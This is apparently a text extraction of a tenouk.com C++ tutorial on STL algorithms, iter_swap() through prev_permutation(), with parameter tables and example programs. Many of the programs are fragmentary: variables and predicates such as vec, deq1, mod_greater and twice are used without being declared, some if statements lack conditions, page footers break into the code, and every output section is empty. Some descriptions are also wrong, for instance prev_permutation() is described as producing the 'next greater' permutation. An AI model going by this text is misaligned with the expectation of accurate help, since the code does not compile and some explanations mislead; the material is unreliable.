- swap() should be used in preference to iter_swap(), which was included in the C++ Standard for
backward compatibility. If Fit1 and Fit2 are forward iterators, then iter_swap(Fit1, Fit2),
is equivalent to swap(*Fit1, *Fit2).
- The value types of the input forward iterators must have the same value.
//algorithm, iter_swap()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
www.tenouk.com Page 3 of 40
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{ m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{ return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
int main()
{
CInt c1 = 9, c2 = 12, c3 = 17;
deque<CInt> deq;
deque<CInt>::iterator deqIter;
deq.push_back(c1);
deq.push_back(c2);
deq.push_back(c3);
cout<<"\nThe deque of CInts data with first and last\nelements re swapped is: ";
for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;
int i;
for(i = 10; i <= 14; i++)
vec.push_back(i);
int j;
for(j = 16; j <= 20; j++)
deq1.push_back(j);
www.tenouk.com Page 4 of 40
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;
iter_swap(vec.begin(), deq1.begin());
cout<<"\nAfter exchanging first elements,\nvector vec data is: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl<<"and deque deq1 data is: ";
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;
return 0;
}
Output:
lexicographical_compare()
- Compares element by element between two sequences to determine which is lesser of the two.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the first range to be
_First1
compared.
An input iterator addressing the position one past the final element in the first range to
_Last1
be compared.
An input iterator addressing the position of the first element in the second range to be
_First2
compared.
An input iterator addressing the position one past the final element in the second range
_Last2
to be compared.
User-defined predicate function object that defines sense in which one element is less
_Comp than another. A binary predicate takes two arguments and returns true when satisfied
and false when not satisfied.
www.tenouk.com Page 5 of 40
Table 35.3
- The return value is true if the first range is lexicographically less than the second range; otherwise
false.
- A lexicographical comparison between sequences compares them element by element until:
▪ It finds two corresponding elements unequal, and the result of their comparison is taken as the
result of the comparison between sequences.
▪ No inequalities are found, but one sequence has more elements than the other, and the shorter
sequence is considered less than the longer sequence.
▪ No inequalities are found and the sequences have the same number of elements, and so the
sequences are equal and the result of the comparison is false.
//algorithm, lexicographical_compare()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);
int j;
for(j = 0; j <= 6; j++)
lst.push_back(5*j);
int k;
for(k = 0; k <= 5; k++)
vec2.push_back(10*k);
www.tenouk.com Page 6 of 40
cout<<"Vector vec1 is lexicographically_less than lst."<<endl;
else
cout<<"Vector vec1 is lexicographically_less than lst."<<endl;
cout<<"\nOperation: lexicographical_compare(vec1.begin(),\nvec1.end(),
vec2.begin(), vec2.end(), twice).\n";
bool result3;
result3 = lexicographical_compare(vec1.begin(), vec1.end(), vec2.begin(),
vec2.end(), twice);
if(result3)
cout<<"Vector vec1 is lexicographically_less than\nvec2 based on twice."<<endl;
else
cout<<"Vector vec1 is not lexicographically_less than\nvec2 based on
twice."<<endl;
return 0;
}
Output:
lower_bound()
- Finds the position where the first element in an ordered range is or would be if it had a value that is less
than or equivalent to a specified value, where the sense of equivalence may be specified by a binary
predicate.
Parameters
Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First
searched.
A forward iterator addressing the position one past the final element in the range to
_Last
be searched.
The value whose first position or possible first position is being searched for in the
_Val
ordered range.
User-defined predicate function object that defines sense in which one element is
_Comp less than another. A binary predicate takes two arguments and returns true when
satisfied and false when not satisfied.
www.tenouk.com Page 7 of 40
Table 35.4
- The return value is a forward iterator addressing the position where the first element in an ordered
range is or would be if it had a value that is less than or equivalent to a specified value, where the sense
of equivalence may be specified by a binary predicate.
- The sorted source range referenced must be valid; all pointers must be de-referenceable and within the
sequence the last position must be reachable from the first by incrementation.
- The sorted range must each be arranged as a precondition to the application of the lower_bound()
algorithm in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The range is not modified by the algorithm merge().
- The value types of the forward iterators need be less-than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent (in the sense that neither is less than the
other) or that one is less than the other. This results in an ordering between the nonequivalent elements
- The complexity of the algorithm is logarithmic for random-access iterators and linear otherwise, with
the number of steps proportional to (_Last1 – _First1).
//algorithm, lower_bound()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, Result1;
//Constructing vectors vec1a & vec1b with default less than ordering
int i;
for(i = -3; i <= 6; i++)
vec1.push_back(i);
int j;
for(j =-5; j <= 2; j++)
vec1.push_back(j);
www.tenouk.com Page 8 of 40
<<"binary predicate\nmod_lesser is: ";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;
Output
make_heap()
- Converts elements from a specified range into a heap in which the first element is the largest and for
which a sorting criterion may be specified with a binary predicate.
template<class RandomAccessIterator>
void make_heap(
RandomAccessIterator _First,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class BinaryPredicate>
void make_heap(
RandomAccessIterator _First,
RandomAccessIterator _Last,
BinaryPredicate _Comp
);
Parameters
Parameter Description
A random-access iterator addressing the position of the first element in the range to be
_First
converted into a heap.
www.tenouk.com Page 9 of 40
A random-access iterator addressing the position one past the final element in the range to
_Last
be converted into a heap.
User-defined predicate function object that defines sense in which one element is less than
_Comp another. A binary predicate takes two arguments and returns true when satisfied and false
when not satisfied.
Table 35.5
- Heaps are an ideal way to implement priority queues and they are used in the implementation of the
Standard Template Library container adaptor priority_queue Class.
- The complexity is linear, requiring 3*(_Last – _First) comparisons.
//algorithm, make_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);
Output
www.tenouk.com Page 10 of 40
max()
- Compares two objects and returns the larger of the two, where the ordering criterion may be specified
by a binary predicate.
template<class Type>
const Type& max(
const Type& _Left,
const Type& _Right
);
template<class Type, class Pr>
const Type& max(
const Type& _Left,
const Type& _Right,
BinaryPredicate _Comp
);
Parameters
Parameter Description
_Left The first of the two objects being compared.
_Right The second of the two objects being compared.
_Comp A binary predicate used to compare the two objects.
Table 35.6
- The return value is the greater of the two objects unless neither is greater, in which case it returns the
first of the two objects.
- The max() algorithm is unusual in having objects passed as parameters. Most STL algorithms operate
on a range of elements whose position is specified by iterator passes as parameters.
//algorithm, max()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<( const CInt& rhs ) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
int main()
{
www.tenouk.com Page 11 of 40
//Comparing integers directly using the max algorithm
int a = 11, b = -12, c = 20;
const int& result1 = max(a, b, mod_greater);
const int& result2 = max(b, c);
st1.insert(c1);
st1.insert(c2);
st2.insert(c2);
st2.insert(c3);
int i;
for(i = 0; i <= 3; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 4; j++)
vec2.push_back(j);
int k;
for(k = 0; k <= 2; k++)
vec3.push_back(2*k);
www.tenouk.com Page 12 of 40
cout<<*Iter5<<" ";
cout<<endl;
return 0;
}
Output
max_element()
- Finds the first occurrence of largest element in a specified range where the ordering criterion may be
specified by a binary predicate.
template<class ForwardIterator>
ForwardIterator max_element(
ForwardIterator _First,
ForwardIterator _Last
);
template<class ForwardIterator, class BinaryPredicate>
ForwardIterator max_element(
ForwardIterator _First,
ForwardIterator _Last,
BinaryPredicate _Comp
);
Parameters
Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First
searched for the largest element.
A forward iterator addressing the position one past the final element in the range to
_Last
be searched for the largest element.
User-defined predicate function object that defines the sense in which one element is
_Comp greater than another. The binary predicate takes two arguments and should return true
when the first element is less than the second element and false otherwise.
Table 35.7
- The return value is a forward iterator addressing the position of the first occurrence of the largest
element in the range searched.
- The range referenced must be valid; all pointers must be dereferenceable and within each sequence the
last position is reachable from the first by incrementation.
- The complexity is linear: (_Last – _First)–1 comparison is required for a nonempty range.
//algorithm, max_element()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
www.tenouk.com Page 13 of 40
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
int main()
{
//Searching a set container with elements of type CInt
//for the maximum element
CInt c1 = 1, c2 = 2, c3 = -3;
set<CInt> st1;
set<CInt>::iterator st1_Iter, st2_Iter, st3_Iter;
st1.insert(c1);
st1.insert(c2);
st1.insert(c3);
int i;
for(i = 0; i <= 3; i++)
vec.push_back(i);
int j;
for(j = 1; j <= 4; j++)
vec.push_back(-j);
www.tenouk.com Page 14 of 40
Output
merge()
- Combines all of the elements from two sorted source ranges into a single, sorted destination range,
where the ordering criterion may be specified by a binary predicate.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the first of two sorted
_First1
source ranges to be combined and sorted into a single range.
An input iterator addressing the position one past the last element in the first of two sorted
_Last1
source ranges to be combined and sorted into a single range.
An input iterator addressing the position of the first element in second of two consecutive
_First2
sorted source ranges to be combined and sorted into a single range.
An input iterator addressing the position one past the last element in second of two
_Last2
consecutive sorted source ranges to be combined and sorted into a single range.
An output iterator addressing the position of the first element in the destination range
_Result
where the two source ranges are to be combined into a single sorted range.
User-defined predicate function object that defines the sense in which one element is
_Comp greater than another. The binary predicate takes two arguments and should return true
when the first element is less than the second element and false otherwise.
Table 35.8
- The return value is an output iterator addressing the position one past the last element in the sorted
destination range.
- The sorted source ranges referenced must be valid; all pointers must be de-referenceable and within
each sequence the last position must be reachable from the first by incrementation.
- The destination range should not overlap either of the source ranges and should be large enough to
contain the destination range.
- The sorted source ranges must each be arranged as a precondition to the application of the merge()
algorithm in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The operation is stable as the relative order of elements within each range is preserved in the
destination range. The source ranges are not modified by the algorithm merge().
www.tenouk.com Page 15 of 40
- The value types of the input iterators need be less than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent, in the sense that neither is less than the
other or that one is less than the other. This results in an ordering between the nonequivalent elements.
- When there are equivalent elements in both source ranges, the elements in the first range precede the
elements from the second source range in the destination range.
- The complexity of the algorithm is linear with at most (_Last1 – _First1)–(_Last2 –
_First2)–1 comparisons.
- The list class provides a member function merge() to merge the elements of two lists.
//algorithm, merge()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1;
//Constructing vector vec1a and vec1b with default less than ordering
int i;
for(i = 0; i <= 5; i++)
vec1a.push_back(i);
int j;
for(j =-5; j <= 0; j++)
vec1b.push_back(j);
www.tenouk.com Page 16 of 40
<<"binary predicate mod_lesser is: ";
for(Iter3a = vec3a.begin(); Iter3a != vec3a.end(); Iter3a++)
cout<<*Iter3a<<" ";
cout<<endl;
Output
www.tenouk.com Page 17 of 40
min()
- Compares two objects and returns the lesser of the two, where the ordering criterion may be specified
by a binary predicate.
template<class Type>
const Type& min(
const Type& _Left,
const Type& _Right
);
template<class Type, class Pr>
const Type& min(
const Type& _Left,
const Type& _Right,
BinaryPredicate _Comp
);
Parameters
Parameter Description
_Left The first of the two objects being compared.
_Right The second of the two objects being compared.
_Comp A binary predicate used to compare the two objects.
Table 35.9
- The return value is the lesser of the two objects unless neither is lesser, in which case it returns the first
of the two objects.
- The min() algorithm is unusual in having objects passed as parameters. Most STL algorithms operate
on a range of elements whose position is specified by iterators passed as parameters.
//algorithm, min()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{
m_nVal = rhs.m_nVal;
return *this;
}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
www.tenouk.com Page 18 of 40
};
int main()
{
//Comparing integers directly using the min algorithm with
//binary predicate mod_lesser & with default less than
int a = 9, b = -12, c = 12;
const int& result1 = min(a, b, mod_lesser);
const int& result2 = min(b, c);
st1.insert(ci1);
st1.insert(ci2);
st2.insert(ci2);
st2.insert(ci3);
int i;
for(i = 1; i <= 4; i++)
vec1.push_back(i);
int j;
for(j = 1; j <= 3; j++)
vec2.push_back(j);
int k;
for(k = 1; k <= 3; k++)
vec3.push_back(2*k);
www.tenouk.com Page 19 of 40
cout<<endl;
Output:
min_element()
- Finds the first occurrence of smallest element in a specified range where the ordering criterion may be
specified by a binary predicate.
template<class ForwardIterator>
ForwardIterator min_element(
ForwardIterator _First,
ForwardIterator _Last
);
template<class ForwardIterator, class BinaryPredicate>
ForwardIterator min_element(
ForwardIterator _First,
ForwardIterator _Last,
BinaryPredicate _Comp
);
Parameters
Parameter Description
A forward iterator addressing the position of the first element in the range to
_First
be searched for the largest element.
A forward iterator addressing the position one past the final element in the
_Last
range to be searched for the largest element.
User-defined predicate function object that defines the sense in which one
element is greater than another. The binary predicate takes two arguments and
_Comp
should return true when the first element is less than the second element and
false otherwise.
Table 35.10
- The return value is a forward iterator addressing the position of the first occurrence of the smallest
element in the range searched.
- The range referenced must be valid; all pointers must be de-referenceable and within each sequence the
last position is reachable from the first by incrementation.
- The complexity is linear: (_Last – _First)–1 comparison is required for a non-empty range.
www.tenouk.com Page 20 of 40
//algorithm, min_element()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal( rhs.m_nVal ){}
CInt& operator=(const CInt& rhs)
{
m_nVal = rhs.m_nVal;
return *this;
}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
int main()
{
//Searching a set container with elements of type CInt
//for the minimum element
CInt ci1 = 4, ci2 = 12, ci3 = -4;
set<CInt> st1;
set<CInt>::iterator st1Iter, st2Iter, st3Iter;
st1.insert(ci1);
st1.insert(ci2);
st1.insert(ci3);
int i;
for(i = 1; i <= 4; i++)
vec1.push_back(i);
int j;
for(j = 1; j <= 5; j++)
vec1.push_back(-2*j);
www.tenouk.com Page 21 of 40
for(vec1Iter = vec1.begin(); vec1Iter != vec1.end(); vec1Iter++)
cout<<*vec1Iter<<" ";
cout<<endl;
Output:
mismatch()
- Compares two ranges element by element either for equality or equivalent in a sense specified by a
binary predicate and locates the first position where a difference occurs.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the first range to be
_First1
tested.
An input iterator addressing the position one past the final element in the first
_Last1
range to be tested.
An input iterator addressing the position of the first element in the second range to
_First2
be tested.
User-defined predicate function object that defines the condition to be satisfied if
_Comp two elements are to be taken as equivalent. A binary predicate takes two arguments
and returns true when satisfied and false when not satisfied.
Table 35.11
www.tenouk.com Page 22 of 40
- The return value is a pair of iterators addressing the positions of the mismatch in the two ranges, the
first component iterator to the position in the first range and the second component iterator to the
position in the second range.
- If there is no difference between the elements in the ranges compared or if the binary predicate in the
second version is satisfied by all element pairs from the two ranges, then the first component iterator
points to the position one past the final element in the first range and the second component iterator to
position one past the final element tested in the second range.
- The range to be searched must be valid; all pointers must be de-referenceable and the last position is
reachable from the first by incrementation.
- The time complexity of the algorithm is linear in the number of elements contained in the range.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
//algorithm, mismatch()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);
int j;
for(j = 0; j <= 7; j++)
lst.push_back(5*j);
int k;
for(k = 0; k <= 5; k++)
vec2.push_back(10*k);
www.tenouk.com Page 23 of 40
for(lst_Iter = lst.begin(); lst_Iter!= lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;
//Test vec1 and vec2 for mismatch under the binary predicate twice
pair<vector <int>::iterator, vector <int>::iterator> result2;
cout<<"\nOperation: mismatch(vec1.begin(), vec1.end(), vec2.begin(), twice).\n";
result2 = mismatch(vec1.begin(), vec1.end(), vec2.begin(), twice);
if(result2.first == vec1.end())
cout<<"The two ranges do not differ based on the\nbinary predicate twice."<<endl;
else
cout<<"The first mismatch is between "<<*result2.first<<" and
"<<*result2.second<<endl;
return 0;
}
Output
next_permutation()
- Reorders the elements in a range so that the original ordering is replaced by the lexicographically next
greater permutation if it exists, where the sense of next may be specified with a binary predicate.
template<class BidirectionalIterator>
bool next_permutation(
BidirectionalIterator _First,
BidirectionalIterator _Last
);
template<class BidirectionalIterator, class BinaryPredicate>
bool next_permutation(
BidirectionalIterator _First,
BidirectionalIterator _Last,
BinaryPredicate _Comp
);
Parameters
Parameter Description
A bidirectional iterator pointing to the position of the first element in the range to be
_First
permuted.
A bidirectional iterator pointing to the position one past the final element in the range to
_Last
be permuted.
User-defined predicate function object that defines the comparison criterion to be
_Comp
satisfied by successive elements in the ordering. A binary predicate takes two
www.tenouk.com Page 24 of 40
arguments and returns true when satisfied and false when not satisfied.
Table 35.12
- The return value is true if the lexicographically next permutation exists and has replaced the original
ordering of the range; otherwise false, in which case the ordering is transformed into the
lexicographically smallest permutation.
- The range referenced must be valid; all pointers must be dereferenceable and within the sequence the
last position is reachable from the first by incrementation.
- The default binary predicate is less than and the elements in the range must be less than comparable to
insure that the next permutation is well defined.
- The complexity is linear with at most (_Last–_First)/2 swaps.
//algorithm, next_permutation()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
int main()
{
//Reordering the elements of type CInt in a deque
//using the prev_permutation algorithm
CInt ci1 = 7, ci2 = 5, ci3 = 17;
bool deq1Result;
deque<CInt> deq1, deq2, deq3;
deque<CInt>::iterator deq1Iter;
deq1.push_back(ci1);
deq1.push_back(ci2);
deq1.push_back(ci3);
www.tenouk.com Page 25 of 40
cout<<"The lexicographically next permutation "
<<"exists and has\nreplaced the original "
<<"ordering of the sequence in deq1."<<endl;
else
cout<<"The lexicographically next permutation doesn't "
<<"exist\n and the lexicographically "
<<"smallest permutation\n has replaced the "
<<"ordering of the sequence in deq1."<<endl;
int i;
for(i = -3; i <= 4; i++)
vec1.push_back(i);
int k = 1;
while (k <= 5)
{
next_permutation(vec1.begin(), vec1.end(), mod_lesser);
cout<<"After another next_permutation() of vector vec1,\nvec1 data: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1 ++)
cout<<*Iter1<<" ";
cout<<endl;
k++;
}
return 0;
}
Output:
nth_element()
www.tenouk.com Page 26 of 40
- Partitions a range of elements, correctly locating the nth element of the sequence in the range so that all
the elements in front of it are less than or equal to it and all the elements that follow it in the sequence
are greater than or equal to it.
template<class RandomAccessIterator>
void nth_element(
RandomAccessIterator _First,
RandomAccessIterator _Nth,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class BinaryPredicate>
void nth_element(
RandomAccessIterator _First,
RandomAccessIterator _Nth,
RandomAccessIterator _Last,
BinaryPredicate _Comp
);
Parameters
Parameter Description
A random-access iterator addressing the position of the first element in the range to be
_First
partitioned.
A random-access iterator addressing the position of element to be correctly ordered on
_Nth
the boundary of the partition.
A random-access iterator addressing the position one past the final element in the range
_Last
to be partitioned.
User-defined predicate function object that defines the comparison criterion to be
_Comp satisfied by successive elements in the ordering. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.
Table 35.13
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The nth_element() algorithm does not guarantee that elements in the sub-ranges either side of the
nth element are sorted. It thus makes fewer guarantees than partial_sort(), which orders the
elements in the range below some chosen element, and may be used as a faster alternative to
partial_sort() when the ordering of the lower range is not required.
- Elements are equivalent, but not necessarily equal, if neither is less than the other.
- The average of a sort complexity is linear with respect to _Last – _First.
//algorithm, nth_element()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec;
vector <int>::iterator Iter1;
int i;
for(i = 0; i <= 5; i++)
vec.push_back(i);
int j;
for(j = 10; j <= 15; j++)
vec.push_back(j);
int k;
for(k = 20; k <= 25; k++)
www.tenouk.com Page 27 of 40
vec.push_back(k);
Output:
partial_sort()
- Arranges a specified number of the smaller elements in a range into a non-descending order or
according to an ordering criterion specified by a binary predicate.
template<class RandomAccessIterator>
void partial_sort(
RandomAccessIterator _First,
www.tenouk.com Page 28 of 40
RandomAccessIterator _SortEnd,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class BinaryPredicate>
void partial_sort(
RandomAccessIterator _First,
RandomAccessIterator _SortEnd,
RandomAccessIterator _Last
BinaryPredicate _Comp
);
Parameters
Parameter Description
A random-access iterator addressing the position of the first element in the range
_First
to be sorted.
A random-access iterator addressing the position one past the final element in the
_SortEnd
sub-range to be sorted.
A random-access iterator addressing the position one past the final element in the
_Last
range to be partially sorted.
User-defined predicate function object that defines the comparison criterion to be
_Comp satisfied by successive elements in the ordering. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.
Table 35.14
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- Elements are equivalent, but not necessarily equal, if neither is less than the other. The sort()
algorithm is not stable and does not guarantee that the relative ordering of equivalent elements will be
preserved. The algorithm stable_sort() does preserve this original ordering.
- The average of a sort complexity is O(N log N), where N = _Last – _First.
//algorithm, partial_sort()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
int j;
for(j = 0; j <= 5; j++)
vec1.push_back(j);
www.tenouk.com Page 29 of 40
cout<<"\nOperation: partial_sort(vec1.begin(),\nvec1.begin()+4, vec1.end(),
greater<int>()).\n";
partial_sort(vec1.begin(), vec1.begin()+4, vec1.end(), greater<int>());
cout<<"Partially resorted (greater) vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
Output:
partial_sort_copy()
- Copies elements from a source range into a destination range where the source elements are ordered by
either less than or another specified binary predicate.
Parameters
Parameter Description
_First1 An input iterator addressing the position of the first element in the source range.
An input iterator addressing the position one past the final element in the source
_Last1
range.
A random-access iterator addressing the position of the first element in the sorted
_First2
destination range.
A random-access iterator addressing the position one past the final element in the
_Last2
sorted destination range.
www.tenouk.com Page 30 of 40
User-defined predicate function object that defines the condition to be satisfied if
_Comp two elements are to be taken as equivalent. A binary predicate takes two arguments
and returns true when satisfied and false when not satisfied.
Table 35.15
- The return value is a random-access iterator addressing the element in the destination range one
position beyond the last element inserted from the source range.
- The source and destination ranges must not overlap and must be valid; all pointers must be
dereferenceable and within each sequence the last position must be reachable from the first by
incrementation.
- The binary predicate must provide a strict weak ordering so that elements that are not equivalent are
ordered, but elements that are equivalent are not. Two elements are equivalent under less than, but not
necessarily equal, if neither is less than the other.
//algorithm, partial_sort_copy()
#include <vector>
#include <list>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;
int i;
for(i = 0; i <= 7; i++)
vec1.push_back(i);
random_shuffle(vec1.begin(), vec1.end());
lst.push_back(6);
lst.push_back(5);
lst.push_back(2);
lst.push_back(3);
lst.push_back(4);
lst.push_back(1);
www.tenouk.com Page 31 of 40
result2 = partial_sort_copy(lst.begin(), lst.end(), vec2.begin(), vec2.begin()+6,
greater<int>());
cout<<"List lst into vector vec2 data: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
cout<<"The first vec2 element one position beyond"
<<"\nthe last lst element inserted was "<<*result2<<endl;
return 0;
}
Output:
partition()
- Classifies elements in a range into two disjoint sets, with those elements satisfying a unary predicate
preceding those that fail to satisfy it.
Parameters
Parameter Description
A bidirectional iterator addressing the position of the first element in the range to
_First
be partitioned.
A bidirectional iterator addressing the position one past the final element in the
_Last
range to be partitioned.
User-defined predicate function object that defines the condition to be satisfied if
_Comp an element is to be classified. A predicate takes a single argument and returns true
or false.
Table 35.16
- The return value is a bidirectional iterator addressing the position of the first element in the range to not
satisfy the predicate condition.
- The range referenced must be valid; all pointers must be dereferenceable and within the sequence the
last position is reachable from the first by incrementation.
- Elements a and b are equivalent, but not necessarily equal, if both Pr (a, b) is false and Pr (b, a) if
false, where Pr is the parameter-specified predicate. The partition() algorithm is not stable and
does not guarantee that the relative ordering of equivalent elements will be preserved. The algorithm
stable_ partition() does preserve this original ordering.
- The complexity is linear: there are (_Last – _First) applications of _Comp and at most
(_Last – _First)/2 swaps.
www.tenouk.com Page 32 of 40
//algorithm, partition()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
//user defined...
bool great(int value)
{return value >3;}
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);
Output:
pop_heap()
- Removes the largest element from the front of a heap to the next-to-last position in the range and then
forms a new heap from the remaining elements.
template<class RandomAccessIterator>
void pop_heap(
RandomAccessIterator _First,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class BinaryPredicate>
void pop_heap(
RandomAccessIterator _First,
RandomAccessIterator _Last,
BinaryPredicate _Comp
);
Parameters
www.tenouk.com Page 33 of 40
Parameter Description
A random-access iterator addressing the position of the first element in the
_First
heap.
A random-access iterator addressing the position one past the final element in
_Last
the heap.
User-defined predicate function object that defines sense in which one element
_Comp is less than another. A binary predicate takes two arguments and returns true
when satisfied and false when not satisfied.
Table 35.17
- The pop_heap() algorithm is the inverse of the operation performed by the push_heap()
algorithm, in which an element at the next-to-last position of a range is added to a heap consisting of
the prior elements in the range, in the case when the element being added to the heap is larger than any
of the elements already in the heap.
- As mentioned before, heaps have two properties:
- Heaps are an ideal way to implement priority queues and they are used in the implementation of the
Standard Template Library container adaptor priority_queue Class.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The range excluding the newly added element at the end must be a heap.
- The complexity is logarithmic, requiring at most log (_Last – _First) comparisons.
//algorithm, pop_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 1; i <= 9; i++)
vec.push_back(i);
www.tenouk.com Page 34 of 40
push_heap(vec.begin(), vec.end(), greater<int>());
cout<<"The greater than reheaped vec data puts the\nsmallest element first:";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
Output
prev_permutation()
- Reorders the elements in a range so that the original ordering is replaced by the lexicographically next
greater permutation if it exists, where the sense of next may be specified with a binary predicate.
template<class BidirectionalIterator>
bool prev_permutation(
BidirectionalIterator _First,
BidirectionalIterator _Last
);
template<class BidirectionalIterator, class BinaryPredicate>
bool prev_permutation(
BidirectionalIterator _First,
BidirectionalIterator _Last,
BinaryPredicate _Comp
);
Parameters
Parameter Description
A bidirectional iterator pointing to the position of the first element in the range to
_First
be permuted.
A bidirectional iterator pointing to the position one past the final element in the
_Last
range to be permuted.
User-defined predicate function object that defines the comparison criterion to be
_Comp satisfied by successive elements in the ordering. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.
Table 35.18
www.tenouk.com Page 35 of 40
